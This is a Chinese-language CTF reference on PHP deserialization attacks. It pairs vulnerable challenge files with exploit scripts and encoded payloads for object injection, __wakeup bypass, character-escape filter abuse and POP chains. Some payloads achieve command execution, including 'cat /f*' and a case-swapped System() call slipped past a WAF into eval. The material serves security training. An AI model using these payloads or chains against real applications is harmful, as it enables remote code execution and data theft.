[PHP 反序列化参考手册]

一、简单的反序列化题目

1.P1

task.php

php 复制代码

<?php
highlight_file(__FILE__);

class NSS {
    var $name;

    function __destruct() {
        if ($this->name === 'ctf') {
            echo getenv('FLAG');
        }
    }
}

unserialize($_GET['n']);

exp.php

php 复制代码

<?php

class NSS {
    var $name='ctf';

}

$a=new NSS();
print(urlencode(serialize($a)));

//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D

2.[SWPUCTF 2021 新生赛]ez_unserialize

task.php

php 复制代码

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

exp.php

php 复制代码

O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

<?php

class wllm{

    public $admin="admin";
    public $passwd="ctf";

}

$a=new wllm();
print(urlencode(serialize($a)));
//O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

二、wake_up 绕过

1.P3

task.php

php 复制代码

 <?php
highlight_file(__FILE__);

class NSS {
    var $name;

    function __wakeup() {
        $this->name = '1';
    }

    function __destruct() {
        if ($this->name === 'ctf') {
            echo getenv('FLAG');
        }
    }
}

unserialize($_GET['n']);

exp.php

php 复制代码

<?php

class NSS {
    var $name='ctf';
} 

$a=new NSS();

print(urlencode(serialize($a)));

//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D
//O%3A3%3A"NSS"%3A2%3A{s%3A4%3A"name"%3Bs%3A3%3A"ctf"%3B}

2.[极客大挑战 2019]PHP

task.php

php 复制代码

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

exp.php

php 复制代码

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
$a=new Name("admin","100");

print(urlencode(serialize($a)));

//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

//O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

三、反序列化字符逃逸

1.字符增加

(1).task.php

php 复制代码

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

思路分析

需要反序列化后的password变成yu22x

我们随便带入一个username，password修改为yu22x得到目标字符串

php 复制代码

<?php

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
}

$b=new a('admin','yu22x');
echo serialize($b);

#O:1:"a":2:{s:5:"uname";s:5:"admin";s:8:"password";s:5:"yu22x";}

其中我们需要利用的子串是";s:8:"password";s:5:"yu22x";}长度30位。

观察替换规则，由Firebasky变成Firebaskyup字符增加2，因此我们需要15个Firebasky

得到payload:

python 复制代码

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

(2).index.php

php 复制代码

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

php 复制代码

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

思路分析

我们需要把message中的token修改为admin获得flag

首先得到目标字符串

php 复制代码

<?php

class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$b=new message('1','2','3');
echo serialize($b);

#O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}

我们需要构造的子串是";s:5:"token";s:5:"admin";}，长度为27，观察替换规则，一个fuck，变成一个loveU，字符增加1，我们需要27个fuck。

payload:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问messa.php获得flag

(3).index.php

php 复制代码

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

思路分析

通过控制GetFlag当中的cmd来执行不同的系统命令，获得flag。

假设我们想要执行ls命令，那么目标字符串就是 O:7:"GetFlag":2:{s:3:"key";s:1:"1";s:3:"cmd";s:2:"ls";}

那么我们需要构造的字串是";s:3:"cmd";s:2:"ls";}，长度为22，观察替换规则，bad变为good，这时候增加一个字符，因此需要22个bad。

payload：

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}

这时候，我们成功执行了ls命令

最终payload：

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

2.字符减少

(1).task.php

php 复制代码

<?php
function filter($string){
    $filter = '/pp/i';
    return preg_replace($filter,'W',$string);
}
$username = "ppurlet"
$age = "10";
$user = array($username,$age);

var_dump (serialize($user));    # 序列化
echo "<pre>";
$r = filter(serialize($user)); # 替换后序列化
var_dump ($r);
var_dump (unserialize($r));     # 打印反序列
?>
//将age修改为20

思路分析

目标字符串 a:2:{i:0;s:7:"ppurlet";i:1;s:2:"20";}

如果我们控制age=20，正常序列化的结果是;i:1;s:2:"20";}

在其前边插入任意字符和双引号序列化之后得到：a:2:{i:0;s:7:"Wurlet";i:1;s:17:"1";i:1;s:2:"20";}";}

需要吞掉";i:1;s:17:"1这个字符串也就是13个字符。

php 复制代码

<?php
function filter($string){
    $filter = '/pp/i';
    return preg_replace($filter,'W',$string);
}
$username = "pppppppppppppppppppppppppp"; //长度为13
$age = '1";i:1;s:2:"20";}'; //正常序列化的结果
$user = array($username,$age);

var_dump (serialize($user));    # 序列化
echo "<pre>";
$r = filter(serialize($user)); # 替换后序列化
var_dump ($r);
var_dump (unserialize($r));     # 打印反序列
?>
//将age修改为20

四、POP链构造

P5

task.php

php 复制代码

<?php
highlight_file(__FILE__);

class NSS1 {
    var $name;

    function __destruct() {
        echo $this->name;
    }
}

class NSS2 {
    var $name;

    function __toString()
    {
        echo getenv('FLAG');
    }
}

unserialize($_GET['n']);

exp.php

php 复制代码

<?php

class NSS1 {
    var $name;
}

class NSS2 {
    var $name;

}

$a=new NSS1();
$a->name=new NSS2();
echo(serialize($a));

P6

task.php

php 复制代码

<?php
highlight_file(__FILE__);

class NSS1 {
    var $name;

    function __destruct() {
        echo $this->name;
    }
}

class NSS2 {
    var $name;

    function __toString()
    {
        echo $this->name->test;
    }
}

class NSS3 {
    var $name;
    var $res;

    function __get($name){
        $this->name->getflag();
    }

    function __call($name, $arguments){
        if ($this->res === 'nssctf') {
            echo getenv('FLAG');
        }
    }
}
unserialize($_GET['n']);

思路分析

调用链：NSS1__destruct() → \rightarrow → NSS2.__toString() → \rightarrow →NSS3.__get() → \rightarrow →NSS3.____call()

exp.php

php 复制代码

<?php

class NSS1 {
    var $name;

    function __destruct() {
        echo $this->name;
    }
}

class NSS2 {
    var $name;

    function __toString()
    {
        echo $this->name->test;
    }
}

class NSS3 {
    var $name;
    var $res;

    function __get($name){
        $this->name->getflag();
    }

    function __call($name, $arguments){
        if ($this->res === 'nssctf') {
            echo getenv('FLAG');
        }
    }
}

$a=new NSS1();
$a->name=new NSS2();
$a->name->name=new NSS3();
$a->name->name->name=new NSS3();
$a->name->name->name->res='nssctf';
echo serialize($a);

//O:4:"NSS1":1:{s:4:"name";O:4:"NSS2":1:{s:4:"name";O:4:"NSS3":2:{s:4:"name";O:4:"NSS3":2:{s:4:"name";N;s:3:"res";s:6:"nssctf";}s:3:"res";N;}}}

P7

task.php

php 复制代码

<?php
highlight_file(__FILE__);

class NSS1 {
    var $name;

    function __destruct() {
        echo $this->name;
    }
}

class NSS2 {
    var $name;
    private $test;

    function __set($name, $value) {
        $a = $this->test;
        $a($value);
    }

    function __toString() {
        $this->name->{$this->test}();
    }
}

class NSS3 {
    var $name;
    var $res;

    function __invoke($v) {
        echo $this->name->flag($v);
    }

    function flag($a) {
        if ($a === '1') {
            return getenv('FLAG');
        }
    }

    function __call($name, $arguments){
        $this->name->a = '1';
    }
}
unserialize($_GET['n']);

思路分析

调用链：

NSS1.destruct() → \rightarrow → NSS2.toString() → \rightarrow →NSS3.call() → \rightarrow →NSS2.set() → \rightarrow →NSS3.invoke() → \rightarrow →NSS3.flag

需要注意的是，在NSS2中test是私有属性，因此要通过成员函数赋值。

exp.php

php 复制代码

<?php

class NSS1 {
    var $name;
} 
class NSS2 {
    var $name;
    private $test;
    function setTest($v) {
        $this->test=$v;
    }
}
class NSS3 {
    var $name;
    var $res;
}
$a=new NSS1();
$a->name=new NSS2();
$a->name->setTest('1');
$a->name->name=new NSS3();
$a->name->name->name=new NSS2();

$b = new NSS3();
$b->name = new NSS3();
$a->name->name->name->setTest($b);
echo(urlencode(serialize($a)));

[SWPUCTF 2021 新生赛]pop

task.php

php 复制代码

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

思路分析

调用链:w22m.destruct() → \rightarrow →w33m.tostring → \rightarrow →w44m.Getflag()

exp.php

php 复制代码

<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
} 


$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m="Getflag";
echo urlencode(serialize($a));

//O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

exp2.php

php 复制代码

<?php

class w44m{

    private $admin = '123456';
    protected $passwd = '123';
    function SetAdmin($v){
        $this->admin=$v;
    }
    function SetPasswd($x){
        $this->passwd=$x;
    }
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
} 


$a=new w22m();
$a->w00m=new w33m();
$b=new w44m();
$b->SetAdmin('w44m');
$b->SetPasswd('08067');
$a->w00m->w00m=$b;
$a->w00m->w22m="Getflag";
echo urlencode(serialize($a));

//O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

[NISACTF 2022]babyserialize

task.php

php 复制代码

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

思路分析

由危险函数eval，推出invoke，进而是Ilovetxw的tostring，进而是four里的strtolower，进而是four里的set，进而是Ilovetxw的call，进而是TianXiWei里的wakeup

因此，调用链：TianXiWei::wakeup → \rightarrow → Ilovetxw::call → \rightarrow → four::set → \rightarrow → four::strtolower → \rightarrow → Ilovetxw::tostring → \rightarrow → NISA::invoke → \rightarrow → NISA::eval

waf里边过滤了system和其他函数，但是可以大小写绕过。

exp.php

php 复制代码

<?php

class NISA{
    public $fun="";
    public $txw4ever='System("cat /f*");';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a="TXW4EVER";
    private $fun='sixsixsix';
}

$xx=new TianXiWei();
$xx->ext=new Ilovetxw();
$xx->ext->huang=new four();
$xx->ext->huang->a=new Ilovetxw();
$xx->ext->huang->a->su=new NISA();
echo urlencode(serialize($xx));

//O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%22cat+%2Ff%2A%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

phar反序列化

待续。。。。